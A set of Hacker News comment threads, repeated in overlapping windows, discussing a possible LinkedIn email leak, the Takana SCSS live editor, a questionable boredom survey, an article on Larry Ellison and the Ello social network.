the email address that i created exclusively for my (much reviled) linkedin account has just received a virus. does this mean their database of user emails has been leaked? compromised? sold?<p>or are their systems just sufficiently poor that the email has leaked through other means? | your connections can see your email address: <link> | how could you tell the difference from the regular linkedin experience? |
has linkedin lost control of its user email database?
the email address that i created exclusively for my (much reviled) linkedin account has just received a virus. does this mean their database of user emails has been leaked? compromised? sold?<p>or are their systems just sufficiently poor that the email has leaked through other means? | how could you tell the difference from the regular linkedin experience? | ya know, in the past 2 weeks i got "cold-call" emailed from recruiters directly to my personal email; not through linkedin's inmail feature. one from life360.com and another from jut.io. that hasn't happened to me in over 6 years and the recruiters seem to know what my linkedin profile info says. but, it's a gmail and i know that if you get my gmail from anywhere and put it into "<link>;, you can find my g+ which links to my linkedin.i've been wondering how they got my email... |
has linkedin lost control of its user email database?
the email address that i created exclusively for my (much reviled) linkedin account has just received a virus. does this mean their database of user emails has been leaked? compromised? sold?<p>or are their systems just sufficiently poor that the email has leaked through other means? | ya know, in the past 2 weeks i got "cold-call" emailed from recruiters directly to my personal email; not through linkedin's inmail feature. one from life360.com and another from jut.io. that hasn't happened to me in over 6 years and the recruiters seem to know what my linkedin profile info says. but, it's a gmail and i know that if you get my gmail from anywhere and put it into "<link>;, you can find my g+ which links to my linkedin.i've been wondering how they got my email... | i generally register to every service with a different email address. the main ones i get spam to are the ones for adobe, groupon, lastfm, linkedin and oddly battersea arts centre.edit: that's based on a quick look in my spam folder, not anything statistically sound. |
has linkedin lost control of its user email database?
the email address that i created exclusively for my (much reviled) linkedin account has just received a virus. does this mean their database of user emails has been leaked? compromised? sold?<p>or are their systems just sufficiently poor that the email has leaked through other means? | i generally register to every service with a different email address. the main ones i get spam to are the ones for adobe, groupon, lastfm, linkedin and oddly battersea arts centre.edit: that's based on a quick look in my spam folder, not anything statistically sound. | speaking of e-mail leaks, has tumblr?i started receiving spam (the dumbest, v1agra type) to [email protected] which i think i have only used for tumblr and years ago since i let my account be purged at some tos change a while back. although i might have also used it for a service merely associated with tumblr. |
takana – scss live editor
| i expected this to be a less-featureful version of webpack, but it looks like the big difference is that you don't have to hit "save" to trigger a hotswap; the changes occur as you type them (as they do in dev tools). | this looks really awesome and would drastically improve my workflow, but doesn't seem that there is support for linux which is a big bummer. any idea when to expect linux support? |
takana – scss live editor
| this looks really awesome and would drastically improve my workflow, but doesn't seem that there is support for linux which is a big bummer. any idea when to expect linux support? | the compilation is still happening through a native extension on the server.that's personally why i prefer less.it is powerfull enough and can run on the client,without needing a server. |
takana – scss live editor
| the compilation is still happening through a native extension on the server.that's personally why i prefer less.it is powerfull enough and can run on the client,without needing a server. | how well does this cope with more complex stylesheets?i tend to live edit my css experimentally right in the browser, and then when i'm happy go back to the actual source files. this is not quite as nice as the demo, but my (less) files take several seconds to compile -- which isn't an issue when live-editing rules inside the browser. |
takana – scss live editor
| how well does this cope with more complex stylesheets?i tend to live edit my css experimentally right in the browser, and then when i'm happy go back to the actual source files. this is not quite as nice as the demo, but my (less) files take several seconds to compile -- which isn't an issue when live-editing rules inside the browser. | how does it compare to something like browsersync (<link> which also works for js (and sync throuch devices as well, which is very neat) ? |
we're doing an academic study on boredom, give us 5 minutes?
| this is not an "academic study". no institutional review board of a university would approve this. | if this is an academic study, why do you offer a cat option in the gender question? |
we're doing an academic study on boredom, give us 5 minutes?
| if this is an academic study, why do you offer a cat option in the gender question? | the irony on this was not missed. |
we're doing an academic study on boredom, give us 5 minutes?
| the irony on this was not missed. | > how generally do you pass time when you're bored?i’m never bored. |
we're doing an academic study on boredom, give us 5 minutes?
| > how generally do you pass time when you're bored?i’m never bored. | this feels like a startup is doing marketing research to justify their product."do you think there is something missing from the internet?" [maybe like our site?]"what recurring sites do you visit?" [who is our competition?]"you find $30.00 on the ground, what are you going to do with it?" [would you maybe spend it with us?]how about asking things like:- what parts of the internet are truly useful to you? are there any compromises that those benefits introduce?- what parts of the internet are harmful to you? what are those things attempting to accomplish?- what could we take away from the internet? how would we do that? |
watching larry ellison become larry ellison – the dna of a winner
| "softwar" is an insightful book about larry ellison, written by someone who had access to ellison. i do not want to chime in with my own opinion, but would suggest to read the book to learn a lot about the history of oracle and ellison.you will learn a lot of things, including:* how being adopted affected his personality* how he wandered around for a long time without any clear objectives* how someone filed a false case of rape against him, and how he survived* death of one of his co-founders due to cancer* how oracle competed with other database companies, including the technical details (this is the part which i found most interesting) | what a fawning piece of tripe. uncle larry's monomania and "others must fail" sociopathy might have worked for oracle in a particular market and time, but it would be a recipe for utter failure in a modern startup where adaptability and collaboration are more valued. he didn't have unique entrepreneurial dna. he had some skills that were valuable, others that were deficient, and enough luck that the former outweighed the latter. |
watching larry ellison become larry ellison – the dna of a winner
| what a fawning piece of tripe. uncle larry's monomania and "others must fail" sociopathy might have worked for oracle in a particular market and time, but it would be a recipe for utter failure in a modern startup where adaptability and collaboration are more valued. he didn't have unique entrepreneurial dna. he had some skills that were valuable, others that were deficient, and enough luck that the former outweighed the latter. | "it's not enough to win, all others must fail"this isn't the dna of a winner, this is the dna of a sociopath. |
watching larry ellison become larry ellison – the dna of a winner
| "it's not enough to win, all others must fail"this isn't the dna of a winner, this is the dna of a sociopath. | you can tell who is an entrepreneur and who isn't by those who talk shit about larry and oracle.some here seem to think entrepreneurship has changed into a kumbaya group hug where we just attend conferences together , check code into github, might make a bit of money if we ask nicely, or sell "ads", and hope for an early exit because of our sheer brilliance, leaving the dirty work to our future parent.the most valuable companies on the other hand look for sustainable competitive advantage, or as peter thiel would say, monopoly. that definitionally implies "all others must fail" at competing with you. that doesn't mean you don't have partners, it means in the area you excel at (hopefully a big area), you are the only game in town.with oracle it never was quite the only game in town, but it never lost being the clear revenue leader in rdbms (and middleware after bea).if you are in an area where you can't do that or it's hard to do that, you're not going to build a super valuable company - maybe a super valuable online community or open source project. but not a really valuable company generating tremendous wealth beyond asset speculators.perhaps that's what's changed about entrepreneurship, and why you see larry derided by some here. it isn't just about building companies anymore, it's about funding communities that might become companies with enough tinkering and luck. |
watching larry ellison become larry ellison – the dna of a winner
| you can tell who is an entrepreneur and who isn't by those who talk shit about larry and oracle.some here seem to think entrepreneurship has changed into a kumbaya group hug where we just attend conferences together , check code into github, might make a bit of money if we ask nicely, or sell "ads", and hope for an early exit because of our sheer brilliance, leaving the dirty work to our future parent.the most valuable companies on the other hand look for sustainable competitive advantage, or as peter thiel would say, monopoly. that definitionally implies "all others must fail" at competing with you. that doesn't mean you don't have partners, it means in the area you excel at (hopefully a big area), you are the only game in town.with oracle it never was quite the only game in town, but it never lost being the clear revenue leader in rdbms (and middleware after bea).if you are in an area where you can't do that or it's hard to do that, you're not going to build a super valuable company - maybe a super valuable online community or open source project. but not a really valuable company generating tremendous wealth beyond asset speculators.perhaps that's what's changed about entrepreneurship, and why you see larry derided by some here. it isn't just about building companies anymore, it's about funding communities that might become companies with enough tinkering and luck. | i kind of hate articles that start off by implicitly buying into the whole winners vs losers ethos. 'the dna of a winner' - as if it was both an obvious fact that 'winners' and 'winning' are inherently superior to 'losers' and 'losing', and that it is an admirable goal to always be 'winning' all the time, in that totalizing way where you only win if others lose. and who doesn't want to be a 'winner,' right? i mean, who wants to be a pathetic loser like anyone who doesn't have 46 billion dollars? certainly not me!how about 'successful' or 'exceptional'? certainly says the same thing without the implied value judgment against those who don't share the same value system |
ello: you are not a product.
| i love it how so many websites with terrible ui proudly proclaim that they are 'beautiful'. | i'd prefer to go with a distributed social network, of which there are many (<link>, but none seems to have developed a great deal of traction. |
ello: you are not a product.
| i'd prefer to go with a distributed social network, of which there are many (<link>, but none seems to have developed a great deal of traction. | broken in opera 12, astonishingly badly. literally no way to contact anyone of their team in any way (email, twitter) but through ello itself.edit: it was pointed out that there is an email adress, though a very skillfully hidden one. |
ello: you are not a product.
| broken in opera 12, astonishingly badly. literally no way to contact anyone of their team in any way (email, twitter) but through ello itself.edit: it was pointed out that there is an email adress, though a very skillfully hidden one. | yesterday my facebook newsfeed blew up with non-tech friends posting about ello. no-one is signing up because it works better, they just all want out of facebook.i don't know if ello will take off, but there is definitely a massive demand for "anything but facebook". |
ello: you are not a product.
| yesterday my facebook newsfeed blew up with non-tech friends posting about ello. no-one is signing up because it works better, they just all want out of facebook.i don't know if ello will take off, but there is definitely a massive demand for "anything but facebook". | you never have to pay anything, and you can keep using
ello forever, for free. by choosing to buy a feature now
and then for a very small amount of money you support
our work and help us make ello better and better.
this is way too generous and altruistic to be practical. they obviously mean well, but this is effectively a donation-based model and it very rarely works in practice.what i think they should do is to offer personal accounts for free and charge for enterprise presence. i know a handful of people who use facebook and twitter in read-only mode and who follow just the companies. they effectively use social networks as a news feed of product updates, coupons, deals, discounts, etc. moreover, they explicitly seek out the companies and follow them. if you think about it, it's an insane arrangement - you have people opting in to hear to what you have to say. this is valuable, this is something worth paying for and it keeps the network free for the individuals. |